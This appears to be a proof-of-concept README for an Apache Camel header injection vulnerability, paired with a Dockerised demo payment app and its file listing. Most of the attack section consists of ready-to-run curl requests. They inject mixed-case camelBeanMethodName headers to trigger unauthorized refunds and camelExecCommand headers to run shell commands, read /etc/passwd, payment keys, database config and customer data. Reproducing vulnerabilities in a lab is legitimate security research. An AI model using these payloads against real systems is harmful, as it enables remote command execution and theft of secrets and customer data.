来源

关联漏洞

介绍

# Apache Camel CVE Demonstration

This project demonstrates security vulnerabilities in Apache Camel related to header injection attacks.

## Docker Build

Build the Docker image:
```shell
docker build -t camel-cve-demo .
```

## Docker Run

Run the container with all necessary ports:
```shell
docker run -d `
  --name camel-cve-demo `
  -p 8080:8080 `
  -p 8081:8081 `
  -p 8484:8484 `
  -v ${PWD}/logs:/app/logs `
  -e JAVA_OPTS="-Xmx512m -Xms256m" `
  camel-cve-demo
```

## Attack Reproduction

### 1. Bean Method Injection Attack

Exploit vulnerable endpoint by injecting method names:

```shell
# Successful attack - case-sensitive header
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"

# Alternative - query parameter injection
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"
```

**Comparison (these should fail):**
```shell
# Wrong case - should not work
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"

curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
```

### 2. Command Execution Attack

Exploit exec component to execute arbitrary commands:

**Reconnaissance:**
```shell
# Check current directory
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"

# List config directory
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"

# Find configuration files
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"
```

**Data Exfiltration:**
```shell
# Read database configuration
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"

# Read payment secrets
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"

# Read customer data
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"

# Read audit logs
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"

# Read system users
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"

# List processes
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"
```

## Verify Attack Results

Check the attack logs inside the container:

```shell

# View unauthorized refund attempts
docker exec camel-cve-demo cat /tmp/unauthorized_refund.txt
```

## Ports

- **8080**: Main application (frontend)
- **8081**: Bean injection vulnerable endpoint
- **8484**: Exec injection vulnerable endpoint

文件快照

 [4.0K]  /data/pocs/08061139e9b09f57d198f0af027c523ccd1f0873
├── [4.6K]  Dockerfile
├── [4.1K]  pom.xml
├── [3.3K]  README.md
└── [4.0K]  src
    └── [4.0K]  main
        ├── [4.0K]  java
        │   └── [4.0K]  com
        │       └── [4.0K]  example
        │           └── [4.0K]  camel
        │               ├── [ 881]  CamelCveDemoApplication.java
        │               ├── [4.0K]  config
        │               │   ├── [1.5K]  CamelConfig.java
        │               │   └── [ 903]  CorsConfig.java
        │               ├── [4.0K]  controller
        │               │   └── [ 523]  WebController.java
        │               ├── [4.0K]  routes
        │               │   ├── [5.9K]  BeanRoute.java
        │               │   └── [6.5K]  ExecRoute.java
        │               └── [4.0K]  service
        │                   └── [6.1K]  DemoService.java
        └── [4.0K]  resources
            ├── [ 530]  application.properties
            ├── [1.3K]  logback-spring.xml
            └── [4.0K]  static
                └── [ 11K]  index.html

12 directories, 13 files

备注